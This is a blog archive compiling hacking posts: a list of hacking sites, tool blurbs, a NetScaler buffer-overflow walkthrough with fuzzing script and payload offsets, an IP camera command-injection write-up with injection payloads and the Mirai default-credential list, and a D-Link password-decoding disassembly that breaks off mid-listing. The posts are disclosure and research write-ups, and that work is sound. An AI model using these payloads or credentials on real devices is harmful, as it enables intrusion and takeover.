ေဒါက္တာဖိုးလမ္း: June 2020

Tuesday, June 30, 2020

Top 13 Websites to Learn How to Hack Like a Pro 2018

Phrack Magazine: Digital hacking magazine.
KitPloit: Leading source of Security Tools, Hacking Tools, CyberSecurity and Network Security.
DEFCON: Information about the largest annual hacker convention in the US, including past speeches, video, archives, and updates on the next upcoming show as well as links and other details.
Metasploit: Find security issues, verify vulnerability mitigations & manage security assessments with Metasploit. Get the worlds best penetration testing software now.
SecTools.Org: List of 75 security tools based on a 2003 vote by hackers.
HackRead: HackRead is a News Platform that centers on InfoSec, Cyber Crime, Privacy, Surveillance, and Hacking News with full-scale reviews on Social Media Platforms.
Exploit DB: An archive of exploits and vulnerable software by Offensive Security. The site collects exploits from submissions and mailing lists and concentrates them in a single database.
SecurityFocus: Provides security information to all members of the security community, from end users, security hobbyists and network administrators to security consultants, IT Managers, CIOs and CSOs.
NFOHump: Offers up-to-date .NFO files and reviews on the latest pirate software releases.
Hacked Gadgets: A resource for DIY project documentation as well as general gadget and technology news.
Hakin9: E-magazine offering in-depth looks at both attack and defense techniques and concentrates on difficult technical issues.
The Hacker News: The Hacker News — most trusted and widely-acknowledged online cyber security news magazine with in-depth technical coverage for cybersecurity.
Packet Storm: Information Security Services, News, Files, Tools, Exploits, Advisories and Whitepapers.

Thursday, June 11, 2020

LEGALITY OF ETHICAL HACKING

Why ethical hacking?

Legality of Ehical Hacking

Ethical hacking is legal if the hacker abides by the rules stipulated in above section on the definition of ethical hacking.

Ethical hacking is not legal for black hat hackers.They gain unauthorized access over a computer system or networks for money extortion.

More information

John The Ripper

"A powerful, flexible, and fast multi-platform password hash cracker John the Ripper is a fast password cracker, currently available for many flavors of Unix (11 are officially supported, not counting different architectures), DOS, Win32, BeOS, and OpenVMS. Its primary purpose is to detect weak Unix passwords. It supports several crypt(3) password hash types which are most commonly found on various Unix flavors, as well as Kerberos AFS and Windows NT/2000/XP LM hashes. Several other hash types are added with contributed patches. You will want to start with some wordlists, which you can find here or here. " read more...

Website: http://www.openwall.com/john

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Router-Exploit-Shovel: An Automated Application Generator For Stack Overflow Types On Wireless Routers

About Router-Exploit-Shovel
Router-Exploit-Shovel is an automated application generation for Stack Overflow types on Wireless Routers.

Router exploits shovel is an automated application generation tool for stack overflow types on wireless routers. The tool implements the key functions of exploits, it can adapt to the length of the data padding on the stack, generate the ROP chain, generate the encoded shellcode, and finally assemble them into a complete attack code. The user only needs to attach the attack code to the overflow location of the POC to complete the Exploit of the remote code execution.

The tool supports MIPSel and MIPSeb.Run on Ubuntu 16.04 64bit.

Router-Exploit-Shovel's Installation
Open your Terminal and enter these commands:
Usage

Example: python3 Router_Exploit_Shovel.py -b test_binaries/mipseb-httpd -l test_binaries/libuClibc-0.9.30.so -o 0x00478584

Router-Exploit-Shovel's screenshot

Code structure

ROP chain generation
This tool uses pattern to generate ROP chains. Extract patterns from common ROP exploitation procedure. Use regex matching to find available gadgets to fill up chain strings. Base64 encoding is to avoid duplicate character escapes. For example:

Attackblocks
You can get attackblocks generated in results/attackBlocks.txt. Such as:

You might like these similar tools:

Download Router-Exploit-Shovel

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Wednesday, June 10, 2020

Scaling The NetScaler

A few months ago I noticed that Citrix provides virtual appliances to test their applications, I decided to pull down an appliance and take a peek. First I started out by downloading the trial Netscaler VM (version 10.1-119.7) from the following location:

http://www.citrix.com/products/netscaler-application-delivery-controller/try.html

Upon boot, the appliance is configured with nsroot/nsroot for the login and password. I logged in and started looking around and noticed that the web application is written in PHP using the code igniter framework (screw that crap). Since code igniter abstracts everything with MVC and actual scripts are hidden behind routes I decided to take a look at the apache configuration. I noticed that apache was configured with a SOAP endpoint that was using shared objects (YUMMY):

/etc/httpd

# SOAP handler
<Location /soap>
SetHandler gsoap-handler SOAPLibrary /usr/lib/libnscli90.so SupportLibrary /usr/lib/libnsapps.so </Location>

It wasn't clear what this end point was used for and it wasn't friendly if you hit it directly:

So I grep'd through the application code looking for any calls to this service and got a hit:

root@ns# grep -r '/soap' *
models/common/xmlapi_model.php: $this->soap_client = new nusoap_client("http://" . $this->server_ip . "/soap");

Within this file I saw this juicy bit of PHP which would have made this whole process way easier if it wasn't neutered with the hardcoded "$use_api = true;"

/netscaler/ns_gui/admin_ui/php/application/models/common/xmlapi_model.php

protected function command_execution($command, $parameters, $use_api = true) {
//Reporting can use API & exe to execute commands. To make it work, comment the following line.
$use_api = true; if(!$use_api)
{
$exec_command = "/netscaler/nscollect " . $this- >convert_parameters_to_string($command, $parameters);
$this->benchmark->mark("ns_exe_start");
$exe_result = exec($exec_command); $this->benchmark->mark("ns_exe_end");
$elapsed_time = $this->benchmark->elapsed_time("ns_exe_start",
"ns_exe_end");
log_message("profile", $elapsed_time . " --> EXE_EXECUTION_TIME " .
$command); $this->result["rc"] = 0;
$this->result["message"] = "Done"; $this->result["List"] = array(array("response" => $exe_result));
$return_value = 0;
}

For giggles I set it to false and gave it a whirl, worked as expected :(

The other side of this "if" statement was a reference to making a soap call and due to the reference to the local "/soap" and the fact all roads from "do_login" were driven to this file through over nine thousand levels of abstraction it was clear that upon login the server made an internal request to this endpoint. I started up tcpdump on the loopback interface on the box and captured an example request:

root@ns# tcpdump -Ani lo0 -s0 port 80
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on lo0, link-type NULL (BSD loopback), capture size 65535 bytes 23:29:18.169188 IP 127.0.0.1.49731 > 127.0.0.1.80: P 1:863(862) ack 1 win 33304 <nop,nop,timestamp 1659543 1659542>
E...>D@.@............C.P'R...2.............
..R...R.POST /soap HTTP/1.0
Host: 127.0.0.1
User-Agent: NuSOAP/0.9.5 (1.56)
Content-Type: text/xml; charset=ISO-8859-1
SOAPAction: ""
Content-Length: 708
<?xml version="1.0" encoding="ISO-8859-1"?><SOAP-ENV:Envelope SOAP- ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP- ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAP- ENC="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body> <ns7744:login xmlns:ns7744="urn:NSConfig"><username xsi:type="xsd:string">nsroot</username><password xsi:type="xsd:string">nsroot</password><clientip
xsi:type="xsd:string">192.168.166.1</clientip><cookieTimeout xsi:type="xsd:int">1800</cookieTimeout><ns xsi:type="xsd:string">192.168.166.138</ns></ns7744:login></SOAP-ENV:Body> </SOAP-ENV:Envelope>
23:29:18.174582 IP 127.0.0.1.80 > 127.0.0.1.49731: P 1:961(960) ack 863 win 33304 <nop,nop,timestamp 1659548 1659543>
E...>[@.@............P.C.2..'R.o.....\.....
..R...R.HTTP/1.1 200 OK
Date: Mon, 02 Jun 2014 23:29:18 GMT
Server: Apache
Last-Modified: Mon, 02 Jun 2014 23:29:18 GMT Status: 200 OK
Content-Length: 615
Connection: keep-alive, close
Set-Cookie: NSAPI=##7BD2646BC9BC8A2426ACD0A5D92AF3377A152EBFDA878F45DAAF34A43 09F;Domain=127.0.0.1;Path=/soap;Version=1
Content-Type: text/xml; charset=utf-8
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP- ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP- ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns="urn:NSConfig"> <SOAP-ENV:Header></SOAP-ENV:Header><SOAP-ENV:Body SOAP- ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <ns:loginResponse><return xsi:type="ns:simpleResult"><rc xsi:type="xsd:unsignedInt">0</rc><message xsi:type="xsd:string">Done</message> </return></ns:loginResponse></SOAP-ENV:Body></SOAP-ENV:Envelope>

I pulled the request out and started playing with it in burp repeater. The one thing that seemed strange was that it had a parameter that was the IP of the box itself, the client string I got...it was used for tracking who was making requests to login, but the other didn't really make sense to me. I went ahead and changed the address to another VM and noticed something strange:

According to tcpdump it was trying to connect to my provided host on port 3010:

root@ns# tcpdump -A host 192.168.166.137 and port not ssh
tcpdump: WARNING: BIOCPROMISC: Device busy
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on 0/1, link-type EN10MB (Ethernet), capture size 96 bytes 23:37:17.040559 IP 192.168.166.138.49392 > 192.168.166.137.3010: S 4126875155:4126875155(0) win 65535 <mss 1460,nop,wscale 1,nop,nop,timestamp 2138392 0,sackOK,eol>

I fired up netcat to see what it was sending, but it was just "junk", so I grabbed a pcap on the loopback interface on the netscaler vm to catch a normal transaction between the SOAP endpoint and the service to see what it was doing. It still wasn't really clear exactly what the data was as it was some sort of "binary" stream:

I grabbed a copy of the servers response and setup a test python client that replied with a replay of the servers response, it worked (and there may be an auth bypass here as it responds with a cookie for some API functionality...). I figured it may be worth shooting a bunch of crap back at the client just to see what would happen. I modified my python script to insert a bunch "A" into the stream:

import socket,sys
resp = "\x00\x01\x00\x00\xa5\xa5"+ ("A"*1000)+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
HOST = None # Symbolic name meaning all available interfaces
PORT = 3010 # Arbitrary non-privileged port
s = None
for res in socket.getaddrinfo(HOST, PORT, socket.AF_UNSPEC,socket.SOCK_STREAM, 0, socket.AI_PASSIVE):
af, socktype, proto, canonname, sa = res
try:
s = socket.socket(af, socktype, proto)
except socket.error as msg:
s = None
continue
try:
s.bind(sa)
s.listen(1)
except socket.error as msg:
s.close()
s = None
continue
break
if s is None:
print 'could not open socket'
sys.exit(1)
conn, addr = s.accept()
print 'Connected by', addr
while 1:
data = conn.recv(1024)
if not data:
break
print 'sending!' conn.send(resp)
print 'sent!' conn.close()

Which provided the following awesome log entry in the Netscaler VM window:

Loading the dump up in gdb we get the following (promising looking):

And the current instruction it is trying to call:

An offset into the address 0x41414141, sure that usually works :P - we need to adjust the payload in a way that EDX is a valid address we can address by offset in order to continue execution. In order to do that we need to figure out where in our payload the EDX value is coming from. The metasploit "pattern_create" works great for this ("root@blah:/usr/share/metasploit-framework/tools# ./pattern_create.rb 1000"). After replacing the "A" *1000 in our script with the pattern we can see that EDX is at offset 610 in our payload:

Looking at the source of EDX, which is an offset of EBP we can see the rest of our payload, we can go ahead and replace the value in our payload at offset 610 with the address of EBP

resp = "\x00\x01\x00\x00\xa5\xa5"+p[:610]+'\x78\xda\xff\xff'+p[614:]+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

When we run everything again and take a look at our core dump you can see we have progressed in execution and have hit another snag that causes a crash:

The crash was caused because once again the app is trying to access a value at an offset of a bad address (from our payload). This value is at offset 606 in our payload according to "pattern_offset" and if you were following along you can see that this value sits at 0xffffda78 + 4, which is what we specified previously. So we need to adjust our payload with another address to have EDX point at a valid address and keep playing whack a mole OR we can look at the function and possibly find a short cut:

If we can follow this code path keeping EDX a valid memory address and set EBP+12 (offset in our payload) to 0x0 we can take the jump LEAV/RET and for the sake of time and my sanity, unroll the call stack to the point of our control. You will have to trust me here OR download the VM and see for yourself (my suggestion if you have found this interesting :> )

And of course, the money shot:

A PoC can be found HERE that will spawn a shell on port 1337 of the NetScaler vm, hopefully someone has some fun with it :)

It is not clear if this issue has been fixed by Citrix as they stopped giving me updates on the status of this bug. For those that are concerned with the timeline:

6/3/14 - Bug was reported to Citrix
6/4/14 - Confirmation report was received
6/24/14 - Update from Citrix - In the process of scheduling updates
7/14/14 - Emailed asking for update
7/16/14 - Update from Citrix - Still scheduling update, will let me know the following week.
9/22/14 - No further communication received. Well past 100 days, public disclosure

Continue reading

How I Hacked My IP Camera, And Found This Backdoor Account

The time has come. I bought my second IoT device - in the form of a cheap IP camera. As it was the most affordable among all others, my expectations regarding security was low. But this camera was still able to surprise me.

Maybe I will disclose the camera model used in my hack in this blog later, but first, I will try to contact someone regarding these issues. Unfortunately, it seems a lot of different cameras have this problem because they share being developed on the same SDK. Again, my expectations are low on this.

The obvious problems

I opened the box, and I was greeted with a password of four numeric characters. This is the password for the "admin" user, which can configure the device, watch its output video, and so on. Most people don't care to change this anyway.

It is obvious that this camera can talk via Ethernet cable or WiFi. Luckily it supports WPA2, but people can configure it for open unprotected WiFi of course.

Sniffing the traffic between the camera and the desktop application it is easy to see that it talks via HTTP on port 81. The session management is pure genius. The username and password are sent in every GET request. Via HTTP. Via hopefully not open WiFi. It comes really handy in case you forgot it, but luckily the desktop app already saved the password for you in clear text in

"C:\Users\<USER>\AppData\Local\VirtualStore\Program Files (x86)\<REDACTED>\list.dat"

This nice camera communicates to the cloud via UDP. The destination servers are in Hong Kong - user.ipcam.hk/user.easyn.hk - and China - op2.easyn.cn/op3.easyn.cn. In case you wonder why an IP camera needs a cloud connection, it is simple. This IP camera has a mobile app for Android and iOS, and via the cloud, the users don't have to bother to configure port forwards or dynamic DNS to access the camera. Nice.

Let's run a quick nmap on this device.

PORT     STATE SERVICE    VERSION
23/tcp   open  telnet     BusyBox telnetd
81/tcp   open  http       GoAhead-Webs httpd
| http-auth: 
| HTTP/1.1 401 Unauthorized
|_  Digest algorithm=MD5 opaque=5ccc069c403ebaf9f0171e9517f40e41 qop=auth realm=GoAhead stale=FALSE nonce=99ff3efe612fa44cdc028c963765867b domain=:81
|_http-methods: No Allow or Public header in OPTIONS response (status code 400)
|_http-title: Document Error: Unauthorized
8600/tcp open  tcpwrapped

The already known HTTP server, a telnet server via BusyBox, and a port on 8600 (have not checked so far). The 27-page long online manual does not mention any Telnet port. How shall we name this port? A debug port? Or a backdoor port? We will see. I manually tried 3 passwords for the user root, but as those did not work, I moved on.

The double-blind command injection

The IP camera can upload photos to a configured FTP server on a scheduled basis. When I configured it, unfortunately, it was not working at all, I got an invalid username/password on the server. After some debugging, it turned out the problem was that I had a special $ character in the password. And this is where the real journey began. I was sure this was a command injection vulnerability, but not sure how to exploit it. There were multiple problems that made the exploitation harder. I call this vulnerability double-blind command injection. The first blind comes from the fact that we cannot see the output of the command, and the second blind comes from the fact that the command was running in a different process than the webserver, thus any time-based injection involving sleep was not a real solution.

But the third problem was the worst. It was limited to 32 characters. I was able to leak some information via DNS, like with the following commands I was able to see the current directory:

$(ping%20-c%202%20%60pwd%60)

or cleaning up after URL decode:

$(ping -c 2 `pwd`)

but whenever I tried to leak information from /etc/passwd, I failed. I tried $(reboot) which was a pretty bad idea, as it turned the camera into an infinite reboot loop, and the hard reset button on the camera failed to work as well. Fun times.

The following are some examples of my desperate trying to get shell access. And this is the time to thank EQ for his help during the hacking session night, and for his great ideas.

$(cp /etc/passwd /tmp/a)       ;copy /etc/passwd to a file which has a shorter name
$(cat /tmp/a|head -1>/tmp/b)   ;filter for the first row
$(cat</tmp/b|tr -d ' '>/tmp/c) ;filter out unwanted characters
$(ping `cat /tmp/c`)           ;leak it via DNS

After I finally hacked the camera, I saw the problem. There is no head, tr, less, more or cut on this device ... Neither netcat, bash ...

I also tried commix, as it looked promising on Youtube. Think commix like sqlmap, but for command injection. But this double-blind hack was a bit too much for this automated tool, unfortunately.

But after spending way too much time without progress, I finally found the password to Open Sesame.

$(echo 'root:passwd'|chpasswd)

Now, logging in via telnet

(none) login: root
Password:

BusyBox v1.12.1 (2012-11-16 09:58:14 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
#

Woot woot :) I quickly noticed the root of the command injection problem:

# cat /tmp/ftpupdate.sh
/system/system/bin/ftp -n<<!
open ftp.site.com 21
user ftpuser $(echo 'root:passwd'|chpasswd)
binary
mkdir  PSD-111111-REDACT
cd PSD-111111-REDACT
lcd /tmp
put 12.jpg 00_XX_XX_XX_XX_CA_PSD-111111-REDACT_0_20150926150327_2.jpg
close
bye

Whenever a command is put into the FTP password field, it is copied into this script, and after the script is scheduled, it is interpreted by the shell as commands. After this I started to panic that I forgot to save the content of the /etc/passwd file, so how am I going to crack the default telnet password? "Luckily", rebooting the camera restored the original password.

root:LSiuY7pOmZG2s:0:0:Administrator:/:/bin/sh

Unfortunately, there is no need to start good-old John The Ripper for this task, as Google can tell you that this is the hash for the password 123456. It is a bit more secure than a luggage password.

It is time to recap what we have. There is an undocumented telnet port on the IP camera, which can be accessed by default with root:123456, there is no GUI to change this password, and changing it via console, it only lasts until the next reboot. I think it is safe to tell this a backdoor.

With this console access we can access the password for the FTP server, for the SMTP server (for alerts), the WiFi password (although we probably already have it), access the regular admin interface for the camera, or just modify the camera as we want. In most deployments, luckily this telnet port is behind NAT or firewall, so not accessible from the Internet. But there are always exceptions. Luckily, UPNP does not configure the Telnet port to be open to the Internet, only the camera HTTP port 81. You know, the one protected with the 4 character numeric password by default.

Last but not least everything is running as root, which is not surprising.

My hardening list

I added these lines to the end of /system/init/ipcam.sh:

sleep 15
echo 'root:CorrectHorseBatteryRedStaple'|chpasswd

Also, if you want, you can disable the telnet service by commenting out telnetd in /system/init/ipcam.sh.

If you want to disable the cloud connection (thus rendering the mobile apps unusable), put the following line into the beginning of /system/init/ipcam.sh

iptables -A OUTPUT -p udp ! --dport 53 -j DROP

You can use OpenVPN to connect into your home network and access the web interface of the camera. It works from Android, iOS, and any desktop OS.

My TODO list

Investigate the script /system/system/bin/gmail_thread
Investigate the cloud protocol * - see update 2016 10 27
Buy a Raspberry Pie, integrate with a good USB camera, and watch this IP camera to burn

A quick googling revealed I am not the first finding this telnet backdoor account in IP cameras, although others found it via JTAG firmware dump.

And 99% of the people who buy these IP cameras think they will be safe with it. Now I understand the sticker which came with the IP camera.

When in the next episode of Mr. Robot, you see someone logging into an IP camera via telnet with root:123456, you will know, it is the sad reality.

If you are interested in generic ways to protect your home against IoT, read my previous blog post on this.

Update: as you can see in the following screenshot, the bad guys already started to take advantage of this issue ... https://www.incapsula.com/blog/cctv-ddos-botnet-back-yard.html

Update 20161006: The Mirai source code was leaked last week, and these are the worst passwords you can have in an IoT device. If your IoT device has a Telnet port open (or SSH), scan for these username/password pairs.

root xc3511
root vizxv
root admin
admin admin
root 888888
root xmhdipc
root default
root juantech
root 123456
root 54321
support support
root (none)
admin password
root root
root 12345
user user
admin (none)
root pass
admin admin1234
root 1111
admin smcadmin
admin 1111
root 666666
root password
root 1234
root klv123
Administrator admin
service service
supervisor supervisor
guest guest
guest 12345
guest 12345
admin1 password
administrator 1234
666666 666666
888888 888888
ubnt ubnt
root klv1234
root Zte521
root hi3518
root jvbzd
root anko
root zlxx.
root 7ujMko0vizxv
root 7ujMko0admin
root system
root ikwb
root dreambox
root user
root realtek
root 00000000
admin 1111111
admin 1234
admin 12345
admin 54321
admin 123456
admin 7ujMko0admin
admin 1234
admin pass
admin meinsm
tech tech
mother fucker

Update 2016 10 27: As I already mentioned this at multiple conferences, the cloud protocol is a nightmare. It is clear-text, and even if you disabled port-forward/UPNP on your router, the cloud protocol still allows anyone to connect to the camera if the attacker knows the (brute-forceable) camera ID. Although this is the user-interface only, now the attacker can use the command injection to execute code with root privileges. Or just grab the camera configuration, with WiFi, FTP, SMTP passwords included.
Youtube video : https://www.youtube.com/watch?v=18_zTjsngD8
Slides (29 - ) https://www.slideshare.net/bz98/iot-security-is-a-nightmare-but-what-is-the-real-risk

Update 2017-03-08: "Because of code reusing, the vulnerabilities are present in a massive list of cameras (especially the InfoLeak and the RCE),
which allow us to execute root commands against 1250+ camera models with a pre-auth vulnerability. "https://pierrekim.github.io/advisories/2017-goahead-camera-0x00.txt

Update 2017-05-11: CVE-2017-5674 (see above), and my command injection exploit was combined in the Persirai botnet. 120 000 cameras are expected to be infected soon. If you still have a camera like this at home, please consider the following recommendation by Amit Serper "The only way to guarantee that an affected camera is safe from these exploits is to throw it out. Seriously."
This issue might be worse than the Mirai worm because these effects cameras and other IoT behind NAT where UPnP was enabled.
http://blog.trendmicro.com/trendlabs-security-intelligence/persirai-new-internet-things-iot-botnet-targets-ip-cameras/

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JoomlaScan - Tool To Find The Components Installed In Joomla CMS, Built Out Of The Ashes Of Joomscan

A free and open source software to find the components installed in Joomla CMS, built out of the ashes of Joomscan.

Features

Scanning the Joomla CMS sites in search of components/extensions (database of more than 600 components);
Locate the browsable folders of component (Index of ...);
Locate the components disabled or protected
Locate each file useful to identify the version of a components (Readme, Manifest, License, Changelog)
Locate the robots.txt file or error_log file
Supports HTTP or HTTPS connections
Connection timeout

Next Features

Locate the version of Joomla CMS
Find Module
Customized User Agent and Random Agent
The user can change the connection timeout
A database of vulnerable components

Usage
usage: python joomlascan.py [-h] [-u URL] [-t THREADS] [-v]
optional arguments:

-h, --help              show this help message and exit

-u URL, --url URL       The Joomla URL/domain to scan.
-t THREADS, --threads   THREADS
                        The number of threads to use when multi-threading
                        requests (default: 10).
-v, --version           show program's version number and exit

Requirements

Python
beautifulsoup4 (To install this library from terminal type: $ sudo easy_install beautifulsoup4 or $ sudo pip install beautifulsoup4)

Changelog

2016.12.12 0.5beta > Implementation of the Multi Thread, Updated database from 656 to 686 components, Fix Cosmetics and Minor Fix.
2016.05.20 0.4beta > Find README.md, Find Manifes.xml, Find Index file of Components (Only if descriptive), User Agent and TimeOut on Python Request, Updated database from 587 to 656 components, Fix Cosmetics and Minor Fix.
2016.03.18 0.3beta > Find index file on components directory
2016.03.14 0.2beta > Find administrator components and file Readme, Changelog, License.
2016.02.12 0.1beta > Initial release

Download JoomlaScan

Related posts

Open Sesame (Dlink - CVE-2012-4046)

A couple weeks ago a vulnerability was posted for the dlink DCS-9xx series of cameras. The author of the disclosure found that the setup application that comes with the camera is able to send a specifically crafted request to a camera on the same network and receive its password in plaintext. I figured this was a good chance to do some analysis and figure out exactly how the application carried out this functionality and possibly create a script to pull the password out of a camera.

The basic functionality of the application is as follows:

Application sends out a UDP broadcast on port 5978
Camera sees the broadcast on port 5978 and inspects the payload – if it sees that the initial part of the payload contains "FF FF FF FF FF FF" it responds (UDP broadcast port 5978) with an encoded payload with its own MAC address
Application retrieves the camera's response and creates another UDP broadcast but this time it sets the payload to contain the target camera's MAC address, this encoded value contains the command to send over the password
Camera sees the broadcast on port 5978 and checks that it is meant for it by inspecting the MAC address that has been specified in the payload, it responds with an encoded payload that contains its password (base64 encoded)

After spending some time with the application in a debugger I found what looked like it was responsible for the decoding of the encoded values that are passed:

super exciting screen shot.

After spending some time documenting the functionality I came up with the following notes (messy wall of text):


	Command	Comments
	.JGE SHORT 0A729D36	; stage1
	./MOV EDX,DWORD PTR SS:[LOCAL.2]	; set EDX to our 1st stage half decoded buffer
	.\|MOV ECX,DWORD PTR SS:[LOCAL.4]	; set ECX to our current count/offset
	.\|MOV EAX,DWORD PTR SS:[LOCAL.3]	; set EAX to our base64 encoded payload
	.\|MOVSX EAX,BYTE PTR DS:[EAX]	; set EAX to the current value in our base64 payload
	.\|MOV AL,BYTE PTR DS:[EAX+0A841934]	; set EAX/AL to a hardcoded offset of its value table is at 0a841934
	.\|MOV BYTE PTR DS:[ECX+EDX],AL	; ECX = Offset, EDX = start of our half-decoded buffer, write our current byte there
	.\|INC DWORD PTR SS:[LOCAL.4]	; increment our offset/count
	.\|INC DWORD PTR SS:[LOCAL.3]	; increment our base64 buffer to next value
	.\|MOV EDX,DWORD PTR SS:[LOCAL.4]	; set EDX to our counter
	.\|CMP EDX,DWORD PTR SS:[ARG.2]	; compare EDX (counter) to our total size
	.\JL SHORT 0A729D13	; jump back if we have not finished half decoding our input value
	.MOV ECX,DWORD PTR SS:[ARG.3]	; Looks like this will point at our decoded buffer
	.MOV DWORD PTR SS:[LOCAL.5],ECX	; set Arg5 to our decoded destination
	.MOV EAX,DWORD PTR SS:[LOCAL.2]	; set EAX to our half-decoded buffer
	.MOV DWORD PTR SS:[LOCAL.3],EAX	; set arg3 to point at our half-decoded buffer
	.MOV EDX,DWORD PTR SS:[ARG.4]	; ???? 1500 decimal
	.XOR ECX,ECX	; clear ECX
	.MOV DWORD PTR DS:[EDX],ECX	; clear out arg4 value
	.XOR EAX,EAX	; clear out EAX
	.MOV DWORD PTR SS:[LOCAL.6],EAX	; clear out local.6
	.JMP SHORT 0A729DAE	; JUMP

	./MOV EDX,DWORD PTR SS:[LOCAL.3]	; move our current half-decoded dword position into EDX
	.\|MOV CL,BYTE PTR DS:[EDX]	; move our current byte into ECX (CL) (dword[0])
	.\|SHL ECX,2	; shift left 2 dword[0]
	.\|MOV EAX,DWORD PTR SS:[LOCAL.3]	; move our current dword position into EAX
	.\|MOVSX EDX,BYTE PTR DS:[EAX+1]	; move our current dword position + 1 (dword[1]) into EDX
	.\|SAR EDX,4	; shift right 4 dword[1]
	.\|ADD CL,DL	; add (shift left 2 dword[0]) + (shift right 4 dword[1])
	.\|MOV EAX,DWORD PTR SS:[LOCAL.5]	; set EAX to our current decoded buffer position
	.\|MOV BYTE PTR DS:[EAX],CL	; write our decoded (dword[0]) value to or decoded buffer
	.\|INC DWORD PTR SS:[LOCAL.5]	; increment our position in the decoded buffer
	.\|MOV EDX,DWORD PTR SS:[LOCAL.3]	; set EDX to our current dword position
	.\|MOV CL,BYTE PTR DS:[EDX+1]	; set ECX to dword[1]
	.\|SHL ECX,4	; left shift 4 dword[1]
	.\|MOV EAX,DWORD PTR SS:[LOCAL.3]	; set EAX to our current dword position
	.\|MOVSX EDX,BYTE PTR DS:[EAX+2]	; set EDX to dword[2]
	.\|SAR EDX,2	; shift right 2 dword[2]
	.\|ADD CL,DL	; add (left shift 4 dword[1]) + (right shift 2 dword[2])
	.\|MOV EAX,DWORD PTR SS:[LOCAL.5]	; set EAX to our next spot in the decoded buffer
	.\|MOV BYTE PTR DS:[EAX],CL	; write our decoded value into our decoded buffer
	.\|INC DWORD PTR SS:[LOCAL.5]	; move to the next spot in our decoded buffer
	.\|MOV EDX,DWORD PTR SS:[LOCAL.3]	; set EDX to our current half-decoded dword
	.\|MOV CL,BYTE PTR DS:[EDX+2]	; set ECX dword[2]
	.\|SHL ECX,6	; shift left 6 dword[2]
	.\|MOV EAX,DWORD PTR SS:[LOCAL.3]	; set EAX to our current half-decoded dword
	.\|ADD CL,BYTE PTR DS:[EAX+3]	; add dword[2] + dword[3]
	.\|MOV EDX,DWORD PTR SS:[LOCAL.5]	; set EDX to point at our next spot in our decoded buffer
	.\|MOV BYTE PTR DS:[EDX],CL	; write our decoded byte to our decoded buffer
	.\|INC DWORD PTR SS:[LOCAL.5]	; move to the next spot in our decoded buffer
	.\|ADD DWORD PTR SS:[LOCAL.3],4	; increment our encoded buffer to point at our next dword
	.\|MOV ECX,DWORD PTR SS:[ARG.4]	; set ECX to our current offset?
	.\|ADD DWORD PTR DS:[ECX],3	; add 3 to our current offset?
	.\|ADD DWORD PTR SS:[LOCAL.6],4	; add 4 to our byte counter??
	.\|MOV EAX,DWORD PTR SS:[ARG.2]	; move total size into EAX
	.\|ADD EAX,-4	; subtract 4 from total size
	.\|CMP EAX,DWORD PTR SS:[LOCAL.6]	; compare our total bytes to read bytes
	.\JG SHORT 0A729D50	; jump back if we are not done

	.MOV EDX,DWORD PTR SS:[LOCAL.3]	; set EDX to our last DWORD of encoded buffer
	.MOVSX ECX,BYTE PTR DS:[EDX+3]	; set ECX to dword[3] last byte of our half-decoded dword (dword + 3)
	.INC ECX	; increment the value of dword[3]
	.JE SHORT 0A729E1E
	.MOV EAX,DWORD PTR SS:[LOCAL.3]	; set EAX to our current half-decoded dword
	.MOV DL,BYTE PTR DS:[EAX]	; set EDX (DL) to dword[0]
	.SHL EDX,2	; shift left 2 dword[0]
	.MOV ECX,DWORD PTR SS:[LOCAL.3]	; set ECX to our current encoded dword position
	.MOVSX EAX,BYTE PTR DS:[ECX+1]	; set EAX to dword[1]
	.SAR EAX,4	; shift right 4 dword[1]
	.ADD DL,AL	; add (shifted left 2 dword[0]) + (shifted right 4 dword[1])
	.MOV ECX,DWORD PTR SS:[LOCAL.5]	; set ECX to point at our next spot in our decoded buffer
	.MOV BYTE PTR DS:[ECX],DL	; write our decoded value (EDX/DL) to our decoded buffer
	.INC DWORD PTR SS:[LOCAL.5]	; move to the next spot in our decoded buffer
	.MOV EDX,DWORD PTR SS:[LOCAL.3]	; set EDX to point at our dword
	.MOV AL,BYTE PTR DS:[EDX+1]	; set EAX/AL to dword[1]
	.SHL EAX,4	; shift left 4 dword[1]
